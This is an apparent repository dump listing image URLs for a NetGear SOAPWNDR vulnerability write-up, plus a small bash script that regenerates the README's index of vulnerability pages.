/Vulnerabilities/NetGear/SOAPWNDR/images/uhttpd-cgi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/uhttpd-cgi.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/uhttpd-config-parse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/uhttpd-config-parse.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/uhttpd-main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/uhttpd-main.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/uhttpd-sh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/uhttpd-sh.png -------------------------------------------------------------------------------- /generate_quick.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Trim old links from README.md 4 | HEADER=$(grep -n '\#\# Vulnerabilities' README.md | cut -d ':' -f 1) 5 | head -n ${HEADER} README.md | tee README.md 6 | 7 | # Generate new links 8 | find ./Vulnerabilities | grep -i README.md | \ 9 | xargs -I{} sh -c "stat -t %s {} | awk '{print \$10 \",\" \$16}'" | \ 10 | sort -hr | cut -d ',' -f 2 | \ 11 | xargs -I{} sh -c "echo \* \[\$(head -n 1 {} | sed -E 's/\#+[[:space:]]*//')]\({}\)" \ 12 | >> README.md 13 | --------------------------------------------------------------------------------